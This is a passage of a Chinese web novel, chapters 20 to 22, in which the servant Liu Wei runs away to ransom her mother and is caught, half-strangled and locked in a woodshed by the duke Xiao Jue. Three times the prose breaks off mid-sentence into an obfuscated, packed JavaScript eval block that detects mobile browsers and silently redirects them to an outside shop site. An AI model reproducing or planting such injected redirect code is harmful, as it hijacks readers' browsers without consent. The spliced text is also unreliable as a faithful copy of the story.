东良深深锁眉，问清来龙去脉，略加沉吟，差遣随行的几个小厮分几路在府里找人，但要低调，切忌引起骚乱；再打发春雨回柳薇住处仔细检查有无留下任何蛛丝马迹；他则独自来了杨嬷嬷处，确认无柳薇踪影，便严肃地质问杨嬷嬷知不知内情。 杨嬷嬷开始一头雾水，思索半天，猜疑着交代了前段时间柳薇托她打听她母亲的种种：“……小柳记挂她母亲，那天哭得昏天黑地的。我想，她是不是想念母亲得紧，上那户人家看望她母亲了？” 东良同情柳薇的遭遇，此刻希望她如杨嬷嬷的猜测，仅仅思母心切，出去看望母亲，去去便回，而非胆大妄为，自此一去不复返。 东窗事发，前者尚存转圜余地，后者，意味着蓄意背叛，罪无可恕，必将付出惨重的代价。 一时间，派出去的小厮们陆续过来禀报搜寻无果，紧接着春雨怀抱一个木盒子出现，道：“我之前看见过柳姑娘往这里头放月钱，可现在空了！” 东良道：“其他地方呢，可少了什么没有？” 春雨道：“柜子里还是老样子，几套衣服叠得整整齐齐，最上面的隔层好好放着一个大点的盒子，装的是一个玉如意和一个玉扳指。梳妆台里也一样，看不出有翻动的痕迹。满屋子，唯独这个盒子空了。” 言罢，有个小厮推另一个小厮进来，说：“韩大管家，这小子说可能见过柳姑娘。” 被推搡而来的小厮抹了把额头上的汗，道：“我是看守凝晖院外西侧门的，约摸半个时辰前，我肚子疼，实在憋不住了，正愁没人顶替，却看见一个姑娘走了过来，是普通打扮；我以为她是附近做活的丫鬟，就拜托她帮我看一会……谁知我解决完回来一看，一个人也没有！当时我只觉得可气，气消了也没多想，后来听说你们遍处找柳姑娘，我就猜测，那个姑娘有没有可能就是柳姑娘……？” 将一条条线索串联起来，事态不再扑朔迷离：柳薇不告而别，大概率往她母亲寄身的钱员外家了。 东良保持冷静，指了一个人，火速入宫报与萧绝知悉；剩下的人，速速出门，前往城西钱家拦住柳薇；至于他，留守府中，一则安顿府中事宜，避免人多出乱子，二则等候萧绝归家。 挣来的半个多时辰，足以支撑柳薇搭车抵达钱家，讲清来意。 以她的身份，自然无法得见钱员外，是钱家管家妈妈接见的她。闻听意图，笑说：“我们家这些年，只有买人进来的，没有卖人出去的。” 柳薇义正辞严地纠正：“不是卖人，是赎人。” 管家上下打量她，笑意逐渐轻蔑：“不管是卖还是赎，可都不是一笔小数目。” “我有钱，现在就能拿得出来。但我得先见人，确保人没事。”柳薇是不会算计人，却有提防人的意识——这一百两，来之不易，在没切实见到阿娘以前，绝对不能露出来。 管家婆子讥笑道：“我们是什么人家，既然你能给得起，当即立下字据，你领人走，犯不着跟你拐弯抹角的。” 柳薇道：“我不见到人，我怎么放心出钱？毕竟不是一笔小数目。” 管家婆子道：“哎呦，你这小姑娘，人还挺精的。你精归精，我们家的规矩不能坏了。家里的女人不能随便见外人，你要赎谁，咱们事先谈妥价钱，你能接受，能出得起，才有下一步。” 柳薇耐着性子说：“当时，我娘抵给你们家，你们出了一百两。那我今天赎，也应当是一百两，还有什么可商量的呢？” “话不是这么简单的。”管家婆子斜她一眼，“你娘卖身给我们老爷近一年，吃喝拉撒，哪样不要钱？况且我们老爷是拿她当姨娘养着的，吃穿用度，皆是上等。光这几项加起来，百八十两是有了。更别提你娘死倔，打碎了多少古玩字画？要命的是，气病我们老爷多少次？把所有的合计起来，区区一百两，和打发叫花子没两样。假如就这样和你画押了，不论外面的人笑话，我们家里就群魔乱舞，收拾不住了。” “你说说，是不是这个理？” 长篇大论听下来，柳薇气笑了：“我娘已经被你们拉去干苦力了，吃不饱穿不暖，生病也没人问没人管，你们怎么好意思说她在你们家是养尊处优的呢？” 管家婆子理直气壮道：“被罚去做苦力，那是你娘自己作的。这且是我们老爷迁就的她，再换个人，三番五次要死要活的，哪用得着一年，一个月就弄底下去了。” 柳薇怒目圆睁，愤慨道：“我娘是个人，活生生的人，你们没完没了虐待她，完了还说是她走运？你们的心简直黑透了！” 她怒骂，管家婆子才不让着她，阴着脸说：“我看你是个小姑娘，大老远地过来赎你娘，难得一片孝心，才许你进来，跟你多说两句。你倒是蹬鼻子上脸，轻狂撒野。我今儿把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190895|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准话撂在这里，想赎人，三百两白银；否则，哪儿凉快上哪儿呆着去！” 柳薇气怔了好一会，道：“三百两？你们是坐地起价，存心讹人！” 管家婆子鄙夷道：“讹人？你这一脸穷酸相儿，我们倒怕被你讹上。行了行了，既掏不起，就别大呼小叫的了，哪天凑够了，哪天再来。” 柳薇不肯走，管家婆子索性招呼人撵了她出去。她不死心，继续纠缠，却被轰得更远，只能远远地望着钱家的围墙，满心绝望。 她攒了一百三十两，以为够了，可以见到娘，把钱拍在桌上，签字画押，当场把人领走。为此，她算好了路线，算好了时间，算好了怎么支开春雨，怎么躲过巡夜的小厮，怎么从那扇侧门溜出去……她什么都算到了，独独没算到人心可以黑成这样。 三百两……她上哪儿再弄二百两？ 柳薇慢慢蹲下来，把脸埋进膝盖里，肩膀一抽一抽的，却死死咬着唇，不敢哭出声。 良久，柳薇从膝盖里抬起脸，目视寂寥的长街，尝试厘清思绪，振作起来。 计划全盘打乱了，接下来该怎么办？ 兀自冥思苦想时，忽然耳闻远处有交错的马蹄声。她心里一紧，本能地往墙根缩了缩，把自己藏进更深的阴影里。 马蹄声越来越近，近到她能听见马匹粗重的呼吸，能够目睹火把的光亮。 然后，那光亮停在了正前方。 柳薇屏住呼吸，缓缓抬高视线。火把的光太亮，晃得她睁不开眼，只看见几道人影，而为首之人翻身下了马。那人负手树立，火光从他背后照过来，将他的轮廓勾勒得清清楚楚——宽肩窄腰，锦衣玉带。 柳薇心跳骤停。 不可能。 这个时辰，他应该在宫里，同人推杯换盏，坐看歌舞升平，起码要到后半夜才能脱身。 不可能的！ 理智告诉她，前面那个人不应该是他。可，眼见为实：剑眉凤目，高鼻薄唇，贵气十足，冷厉逼人——俨然是刻骨入髓、毕生难忘的一张脸。 是萧绝，千真万确！ 柳薇在仰视，萧绝在睥睨。 柳薇在淌泪，萧绝在哂笑。 柳薇腾挪后退，直至后背抵上石墙，退无可退，坚冷入骨。 “跑得挺远。”萧绝步步紧逼，踩碎了月光，侵入视线，占据整个视野。墨色袍角随风摇曳，一下一下擦着她的膝盖。 柳薇软瘫在地，泪眼混沌，有些看不真切男人的眉眼，但男人眉眼之间承载的戾气早已将她裹挟。 他最厌恶背叛，铁定会杀了她的！ 她想要求饶，然而悚惧难言，到头来只是泪流满面，不停摇头。 婆娑泪光中，萧绝款款蹲下，一手搭在膝上，一手直达她的脖颈，向上一扼。痛感袭来，她被迫分开唇齿。 逆着月光，他幽幽笑了：“跑啊，怎么不跑了？” 21. 第二十一章 夜宴设在西苑，里外皆有侍卫把守，凝晖院的小厮费了老大的劲，才入内见着萧绝，低声报告柳薇私自逃跑的始末。 殿内载歌载舞，曼妙舞姿掩住了萧绝凛然的容颜，丝竹管弦盖过了萧绝阴森的笑声。 卷了他赏的钱，挑他不在家的时候，脚底抹油跑了。原以为她是个无知窝囊的东西，现在竟和他耍滑头来，倒是先前小瞧她了。 萧绝搁下茶杯，起身向上首小皇帝拱手道：“臣家中出了个内贼，下人们无能，处理不了，臣只好亲自回家一趟，恕臣失陪了。” 小皇帝处处被他辖制，不敢发表质疑，点一点头，关心道：“若棘手的话，朕可以调遣几个侍卫，随萧大人前往解决问题。萧大人意下如何？” 萧绝自信一笑：“一小贼，臣应付得过来，无需劳烦他人。” 他的能力，有目共睹，小皇帝并不勉强，目送他从容离席。 策马疾驰时，萧绝在想：当今皇帝尚且对他言听计从，偏偏一个柳薇，忤逆他背叛他，实在胆大包天、不知死活。两面三刀、背主忘恩的东西，留着有何用？不如一把掐死干净。 萧绝是真的对柳薇起了杀心，于是，演变出目前单手钳制柳薇的一幕。 “满嘴谎话，该罚。背叛主子，更该罚。”萧绝只是攥着她的脖子，略使了点力气，“数罪并罚，柳薇，你猜，你将是何等下场？” 柳薇满眼泪光，吃力地出声：“奴婢……错了……” “明知故犯，该死。”萧绝堪堪收紧指节，冷然藐视掌中之人瞠目张口，吐露阵阵浑浊的声响。 咽喉越来越紧，越来越堵，求生的本能发挥作用，使得柳薇猛然抓住男人的手臂，无声地呐喊：我不想死……救命…… “现在才说不想死？晚了。”萧绝冷笑，手上的力道丝毫未减。他因她而盛怒，那么，想平息他的怒火，唯有她死。 耳朵里嗡嗡鸣响，他说什么，柳薇无法听清；眼睛里灰蒙蒙一片，他是什么表情，柳薇亦无法分辨。她只知道，她今日难逃一死。 要死了。 就这么死了。 真不甘心啊。 可是，好疼，好累……要坚持不住了。 …… 她松手，荡下双臂，放弃抵抗，用窒闷的气息，最后推出一声：“娘……”而后，闭上双眼，等死。 从一个不受待见的庶子，到如今位极人臣，这条路上，萧绝不可避免地背负了多条人命，有借刀杀人，也有亲自动手。前者，多如牛毛，记不清了；后者，倒仅有一个，便是老国公，他的生身父亲。 外界传言，是他能力过人，才令老国公刮目相看，许他袭爵管家，其实只对了一半——他确实压倒众人，偏偏老国公有眼无珠，宁肯纵容私心，把萧家的未来托付给两个嫡子，也就是萧经萧绘那两堆烂泥，也不肯顾全大局，选定他。老家伙厚颜不仁，他便安心不义，提前送卧病在床的老家伙归西。当时他谨慎行事，是用被子给闷死的，过程很快，去得很干脆。 今时的柳薇与彼时的老国公一模一样，弱极，全无还手之力，他再用些力气，便可彻底掐灭她的生机，结束她的痛苦。 呵……他险些忘了，这女人不听他的警告，顶风作案，背叛他，若轻易取了她的命，一条不值几个钱的命，岂不是便宜了她？ 窒息感，戛然而止。空气源源不断，充盈了鼻腔。一呼一吸，犹如刀割，剧痛瞬间刺醒了柳薇的沉入混沌漩涡的神识。 萧绝适时抽手，由她摇摇坠落，伏地咳嗽干呕。呕来呕去，翻上来的是一摊黄水。合着这东西为了逃跑，水米未进。萧绝嗤之以鼻：“你却是用心良苦。” 呕得咳得脏腑绞痛，柳薇难以维持，蜷缩在原地，默默流泪。 用心良苦又如何，到头来还不是一场空……可恨钱家人，黑心烂肺，欺辱阿娘，强词夺理；可恨她自己，愚蠢到家，以为只是一百两的事，进而铤而走险，触怒萧绝，把命也赔了进去……真真是蠢透了！ “我，真蠢……”柳薇追悔莫及，失声痛哭。 “嗯，蠢得我都丧失杀你的兴趣了。”萧绝起身，面向钱家的位置，“你豁出去犯蠢，就是为了给你娘赎身，对么？” 宫宴上，家里小厮交代过柳薇冒险夜奔的动机，萧绝过一过耳朵，并没有深究，也没有必要深究，因为只要知道这蠢材的软肋在她母亲即可。 萧绝亲口说没兴趣杀自己，又提及母亲，柳薇恍惚过劲儿，忍着浑身的不适，支起上半身，遥遥仰望他的侧脸，道：“您想做什么……” 看都不必看，萧绝对她的思想了如指掌，道：“你依然是我的妾，那么你娘在别人家生不如死，我自然不能见死不救了。” 刚刚还要掐死她泄愤，一转眼非但网开一面留她一命，还要帮她救母？柳薇难以置信他会仁慈至此。“真的……吗？” “当然。”萧绝微微侧目，“我不介意赎你娘出来，让你爹你娘久违地团聚。” 柳薇立刻愣住。 他的意思是，赎出阿娘，推阿娘回那个与魔窟无异的家，面对她那混账爹；等混账爹几时又缺钱了，再拿阿娘抵债？ 他何曾是想助她，他是想用阿娘来拿捏她！ 柳薇逼着自己爬起来，离他近一些，卑微到可怜：“我娘不能回去，不然又会被卖了的。求您，手下留情……” 萧绝高高在上，眉压着眼，道：“你犯的错，总得找个人替你承担。而你娘同你血脉相连，正是不二之选。” 心理防线轰然坍塌。柳薇扑通跪下，以头抢地，苦苦乞求：“千错万错都是奴婢的错，您要打要杀，奴婢绝无怨言，只求您不要迁怒我娘，放她一条活路吧……奴婢求您了！” 萧绝无视她，命随从去钱家赎人，办妥了便送回柳家。 柳薇心急如焚，一下下磕头哀求。萧绝心硬如铁，不为所动，自掸掸身上的披风，冷漠道：“起来，自己往回走。”完了命令一个随从：“你，沿途监视。如有意外，唯你是问。” 钱家地处城西，萧家地处城北，相隔甚远，坐马车耗时半个多时辰，步行的话，至少两个时辰。 萧绝不杀她，反而要慢慢地耗干她。 由于自己鲁莽，酿成大祸，柳薇悔恨难当，心里骂了自己一万遍。可惜，悔恨无用，阿娘还在水深火热中，她不能颓丧倒下，不能轻言放弃，得想办法补救。 柳薇迟缓地撑起身躯，看见萧绝轻巧跃上马背，拨转马头，沐月迎风，渐渐遥不可及。 恭送完萧绝，小厮耳闻咚的一声，却见柳薇毫无征兆地歪了下去，眼睛闭着，气息微弱。小厮眉心一跳，大感不免，忙前去呼唤：“柳姑娘，你怎么了？你快醒醒！” 唤来唤去，她都没有反应。 人晕了，没法走了，这怎么办呢？ 小厮左手握拳捶着右手心，原地踱步几圈，到底是情急，撇开男女大防、主仆之别，伸手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197404|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去掐她人中，然而没有苏醒的迹象。 小厮犯了难，心想那地上那么凉，放她一直躺着，万一有个三长两短的，第一个没法对国公爷交代。要不搀她起来，由马驮回府里？……似乎也只剩下这一招了。 小厮点点头，道一声罪过，弯腰捞人之际，眼梢余光忽然闯入一人一马。及看真切来者真容，小厮慌里慌张退后解释：“柳姑娘晕倒了，走不了，小的没辙，准备将柳姑娘扶上马背，送柳姑娘回去……小的绝没有冒犯之意。” “量你也不敢。”萧绝轻盈着地，傲视底下缩成一团的人——眼角仍在滴泪。泪水划过鼻梁，经过嘴唇、下巴，落在项间，描摹出清晰的手掌印。 “阳奉阴违，令人生厌。”萧绝冷笑着，折腰打横抱起柳薇，扔上马背，他自己接着坐上去，臂弯里擒住她，扬长而去。 萧绝带柳薇纵马驰骋，最后停在西侧门外。东良事先率人恭候于此，确认马上趴着的是柳薇，还有生气，暂时松了一口气。 萧绝抛下柳薇下马，径直入门，下令：“叫医生，给那女人看看。看好了，关柴房里反思省过。” 东良等都是男人，不好碰柳薇，便勒令春雨接柳薇下来，往住处去安顿看医生。 萧绝直达前院书房，正襟危坐。东良亦步亦趋，呈上两张纸，汇报：“我又检查了一遍柳姑娘的屋子，发现首饰箱子里少了些东西。当时买下，留着清单，我仔细核对过，一共缺了五样。我推测，柳姑娘应当是趁人不注意典卖了。于是，我顺藤摸瓜，找着了与柳姑娘做交易的当铺，要了当时的凭据。请您过目。” 萧绝接过，浏览完毕，笑了：“上等之物，落到那女人手里，总共只值一百两，何其愚蠢。” 东良道：“的确是那当铺黑心，坑骗人。不过一说是咱们府上的东西，他们上赶着还东西，钱也不要了。我没那么做，还是以原价赎了回来。” 萧绝动手将那两张纸投入香炉，火苗登时窜得老高，而他的声音一如既往平稳：“天子脚下，竟行此坑蒙拐骗之事，是该整治整治了。明日，你持我的腰牌，找到西城兵马司指挥，告诉他，严查严整城西市场，尤其是各个当铺，为期一月。” 东良表现出几分为难：“城西有不少铺子，特别是当铺，是各位王爷公主名下的产业。这般大规模地行动，恐怕会引起不满……” 萧绝卸下腰牌，掷给东良，神态轻狂：“谁有不满，让他来找我。” 东良无言以对，收好令牌。 萧绝道：“因玩忽职守，让柳薇得逞的那个小子呢？” 东良料到他会追究，早把那小厮绑了过来。因回：“在外边候着。那叫他进来？” 萧绝颔首。 东良转头去领人进来，不等喝他，他自个儿跪倒，重重磕头乞饶。 萧绝意外地耐心，沉默寡言听他颠三倒四地认罪，眼色清冷地看他把额头磕得鲜血淋漓。等他磕不动说不动了，方闲闲道：“你担着守门的责任，来了个人，却不看不问此人身份，放心把摊子交出去，擅离职守。又废又爱狡辩。来啊，把他拖下去，将舌头拔了，杖打三十。” 立有人进来架走那小厮。 东良看在眼底，有口难言。 萧绝扶额阖目，淡淡道：“今天的事，烂在肚子里，不得让祖母知道。” 萧绝隐瞒老太太，有她年纪大了不能操心的考量，也有不愿凝晖院之丑闻外扬的意思。 东良称是。 22. 第二十二章 惊吓过度，柳薇发了高烧，春雨衣不解带照料，至第三天凌晨才退了烧。 眼看着柳薇缓慢揭开眼皮，春雨喜极而泣，抱住她的手，说：“谢天谢地，姑娘终于醒了！” 柳薇目光呆滞，口吻迟疑：“我……” 区区一个字，便扯得喉咙痛。她又试着发声，结果嗓音沙哑得不得了。 春雨揩了把泪，劝阻道：“姑娘脖子上有伤，又在病里，一时半会出不了声的……姑娘别张嘴了，比手势指挥我就好，我看得明白的。” 初醒，柳薇脑筋发钝，慢慢提起胳膊，指指桌子，又指指嘴巴。 春雨会意，去倒水，虑及她身体虚弱，恐怕不能自己喝水，便又拿了个勺子，坐过来，舀水喂到她嘴边。 柳薇浑身无力，逞不来强，就着抿了几口，喉咙又开始作痛，她只得摇头示意不喝了。 她脖子上的掐痕，正是她难以咽水的原因。 她不眠不休守候她这几日，春雨给她擦了几次身子，每每目睹她项间的掐痕，都觉心惊肉跳。 医生说，她这伤险些致命，待醒来后，短期内会有吞咽困难的症状，不幸的话，也有可能伴随着失声。总而言之，好过不得。 春雨暗叹一声，放回水杯，尽力掩下悲伤，笑道：“离天亮还有一阵，姑娘再睡睡吧。我就在这守着。” 一束清辉自窗牖透入屋内，柳薇静静凝视着，脑子渐渐清明，一个个画面流入脑海，串联成一段可怖的记忆。 她抚上脖颈，鼻息堪堪粗重。 她从萧绝手下捡回一条命，可苟活的代价是…… 柳薇猛地牵住春雨的衣袖，满目急切，比口型：我娘…… 春雨辨识出她的口型，抿嘴皱眉，眼神躲闪：“这……姑娘先休息，等精神好些了，再谈也不迟。” 柳薇不依，努力扯一扯春雨，作势要坐起来。 春雨忙按住她，妥协道：“姑娘且躺着，我慢慢儿告诉姑娘。但姑娘也不要太激动，对身子不好。” 于是把柳母如何被赎身，又如何被送回柳家，柳家是何光景，逐一说来：“……到姑娘家的时候，是半夜，结果一个人也没有。向街坊一打听，才知道人叫青楼给扣下了，说……他嫖.妓不给钱，先挨了顿拳打脚踢，后来人家搜他的身，只搜出几个铜板，差得远了；青楼那边气不过，要断他的……命根子。咱们府里的人，闻讯去了青楼，却没管，只是领着在附近医馆包扎处理了，就回来向国公爷复命了。” 混账爹落得那种下场，柳薇完全不意外，光觉得讽刺。 她和阿娘在外被人践踏时，他一天天醉生梦死，好不快活。如今身残，都是自作自受。于情于理，她都应感觉大快人心。 可……兜兜转转，阿娘又回到了他身边。他半死不活，阿娘还得给看顾他。较之从前，加倍遭罪。 想到这一点，柳薇痛彻心扉，眼里又是汪洋一片，慌得春雨四处找手帕，偏又找不着，只管先在口头上安抚：“是我不好，明知姑娘经不起大喜大悲，嘴上还没个把门儿的。姑娘，不要哭了，哭得出了汗，浸着热身子，会加重病情的……我有个笑话，讲给姑娘听，好不好？” 此等境地，脆弱有什么意义，倒牵连春雨急三火四的。柳薇为之惭愧，牙齿切着嘴唇，硬忍住不再哭，冲春雨挤出一个难看的笑，眼睛瞟往桌子，连带作口型：纸笔，我还有些话。 她是个病人，春雨尽量顺着她，取了纸笔，接着扶她靠坐床头，歪头认真看她写下几个字：我的嗓子，几时能好？ 春雨道：“医生具体也说不准。主要看姑娘的心态，积极向上，再辅以良药滋养，就快。所以，姑娘，你最好是想开点吧……” 春雨凑近，直盯着她的眼睛，压低声音：“虽然我认为，踏踏实实在这里，是最好的选择，但姑娘若放不下执念，我也没立场阻止，大概也阻止不了……顶多能有一句话：留得青山在，不怕没柴烧。” 经历母亲的二次悲剧后，柳薇切身体悟到，自己一举一动一旦有任何不当，不仅自己遭殃，而且会连累无辜。 避免重蹈覆辙，她即使心怀执念，也只好烂在肚子里，自个儿消化，自个儿筹措，自个儿承担。 柳薇摇头，提笔写下：我知道。可我没有别的想法了，我会老老实实地待在应该待在的地方。你不用因我费心。 春雨看完，庆幸地笑了：“看来是我疑神疑鬼了。姑娘想透彻，心胸打开，就好好地在国公府安身，我也一定会好好伺候姑娘的。” 柳薇置之一笑，继续写：国公爷有透露，怎么发落我吗？ 彼时萧绝怒不可遏，明明是奔着掐死她来的……她不信他会到此翻篇，肯定有后招等着她。 春雨眼色飘忽，不忍直言。 柳薇坚持抬手，碰一碰她的肩膀，含笑点点头，表示但说无妨，她可以承受。 春雨难堪地说了萧绝对她的处置。 柳薇点头，平和地接受现状。倒不是她老成持重，而是在家的时，也曾惹混账爹发火，混账爹嫌她扎眼，就把她丢去柴房关禁闭，好几天不给吃不给喝。此间，她从愤怒，过渡到恐惧，最后归于平静。而今，走上了老路子，便显得不甚局促了。 此外，不免仍存有忧虑：不知萧绝何时能消气？如果他一直动气，她就没有自由，一切都将是空谈。那阿娘怎么办呢？ 春雨自以为理解她的苦闷，出谋划策：“要么姑娘趁能自由活动，求一求国公爷？死马当活马医，总比什么都不做强。” 那夜长街对峙，萧绝好像从地狱里爬出来的罗刹。对此，柳薇刻骨铭心，心有余悸，没有胆量再见他。即便来日躲不过见面，至少她当下办不到。 柳薇苍白一笑，如是写：我知道了，谢谢你帮我出主意。很晚了，你不必守着我了，我自己能行，你去休息吧。 春雨究竟不能撒手，执意在侧守护。天将破晓，维持不住，趴在床边盹着。 柳薇烧得反反复复，往后五天，缠绵病榻，与药为伴。幸而第六天，病势得以控制，彻底退烧，嗓子也能够顺畅吞咽。遗憾的是，仍旧没法出声。医生诊过，直白依然是心情调理不当的问题，嘱咐她勿多思，忌悲愁焦虑。她牢记于心，同样付诸实施，频频卧床冥想，自我宽慰，放松心态。 第十日，柳薇大好，愿意出门，做出再度求见萧绝的决定。 萧绝起早上朝，她便提早候在门口，待门开启，直接跪下。 萧绝不曾施舍一个正眼，冷冷道：“能出来，能跪着挡路，看来是好了。”随即乜斜东良。 东良忙低头道：“是，我这就请柳姑娘下去。” 柳薇斗胆昂首，奉上昨夜挑灯写在纸上的恳求之辞。 首先萧绝日理万机，没工夫理会她害了什么病有什么症状，东良便解释给他听：“爷，是这样的，柳姑娘喉咙出了问题，说不了话。” 萧绝吃吃笑道：“哦？哑巴了？” 东良道：“倒也不是。医生说是暂时性的，调养着，能好。” 萧绝未言，眼皮略垂。东良察言观色，从柳薇手里接了那纸，捧给他过目。 她字斟句酌，删删改改，最终写满半张纸，字迹和赏心悦目不沾边，但是一笔一画，工整分明。大意是深刻忏悔私自出逃一事；然后表明她可以做最脏最苦的活儿，一天吃一顿饭、晚上睡外边，诸如此类艰苦的条件，通通能够忍受，但求他不要把她关柴房里，她这辈子，下辈子，下下辈子，也不会忘却他的恩情的。 一目十行阅罢，萧绝嗤的一笑，随手一扔，刚巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210350|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在她跟前。 “罪奴一个，还妄想与主子讨价还价？”萧绝倾身，捞起她的下巴，捏得她眼睛泛红，再狠心丢开，“自己滚去柴房反省，休让我说第二遍。” 他那一撇，柳薇大病初愈，扛不住，跌向一旁。而他，踏着她熬夜书写的一页纸，大步流星去了。 半个时辰后，柴房落锁，柳薇抱着肩膀，背靠柴垛，席地而坐。 门外摘了两个五大三粗的婆子，轮班看守。除了必要的送水送饭送衣送药，再不准人出入。 走到这一步，柳薇唯有得过且过。 * 会试放榜日，凭一己之力引发京城赌场轰动的孔湛，果然不负众望，夺得榜首，以贡士的身份，高调入围十日后的殿试。 殿试前夕，小皇帝召见萧绝，与之弈棋。 小皇帝姿态谦虚，向萧绝讨教：“今年这些才俊中，可有萧大人赏识之人？” 萧绝执白子，不紧不慢落下一子，面带微笑：“倒真有一个。” 小皇帝惊异一瞬，目视棋盘，下定一子，道：“萧大人请讲。” 萧绝道：“有一个叫孔湛的，颇出了些风头。此般风云人物，臣倒是很想见一见呢。” 小皇帝沉吟少时，眉开眼笑，指着棋局，道：“少见萧大人在棋局上输给谁。” 萧绝泰然自若：“是陛下的棋艺进益了。假以时日，臣再与陛下对弈，恐怕盘盘是手下败将了。” 小皇帝道：“萧大人说笑了。大人的高妙之处，朕且有的参悟呢。” 萧绝笑而不语。 殿试日，孔湛仪表堂堂，才情出众，俨然鹤立鸡群。难得，小皇帝发自肺腑地同萧绝站一边——试后，擎着孔湛作的文章，反复品读，有心钦定他为一甲一等的状元，然忌惮萧绝，为避其锋芒，终御笔圈定他为一甲三名探花。 传胪大典上，小皇帝升座，萧绝居御座边，一览全景；鸿胪寺官唱名传胪，扬声宣读三甲名单，各授官职；下方，被宣到名字之人依次近前叩拜谢恩。 念及一甲三名探花孔湛时，孔湛敛衽出列，风度翩翩，三跪九叩，高谢陛下隆恩。 小皇帝抑制欢喜，颔首示意。萧绝瞥一眼身旁小皇帝，则似笑非笑。 是夜，凝晖院书房，萧绝坐于书案前，闭目养神。 东良悄步进来，献上一盏浓茶，忍不住轻声规劝：“您忙了一日了，明日还有琼林宴，不如早些就寝吧。” 萧绝悠然睁眼，瞧着桌上热气缭绕的茶，不合时宜地记起，往日的一个深夜，有个蠢女人侍奉茶水，自作主张烹了杯清茶，“诚意满满”地劝他，少吃浓茶，保重身体。 …… 萧绝举杯一饮，立时耳清目明，似不经意般，问：“那个女人，最近在柴房，可有吵闹生事？” 东良答：“没有。” 萧绝道：“算她识相。” 鬼使神差地，东良说：“主要是柳姑娘嗓子还没好，即使想吵想闹，也没那条件……” 萧绝微微挑眉：“哦？” 东良意识到失言，但既已说出口，又收不回去，只好硬着头皮进一步说明：“医生说，说不上话关键是心态的好坏。柳姑娘终日在柴房里，见不上其他人，难免孤独不安，于病情不利……” 萧绝转着茶杯，冷笑道：“越发娇惯了。” 东良又道：“还有一件事：今儿中午，老太太说有些日子没看见柳姑娘了，问她是不是病了。我编了个话，幸好老太太也没多问，才圆过去……” “她倒是有能耐，一个两个惦记着她，现在连祖母也忘不了她了。”萧绝眼色一暗，搁下茶杯，“罢了。你现把她叫过来，我有话问她。若表现得令我满意，也不是不能饶她出来。” 东良答应着就去。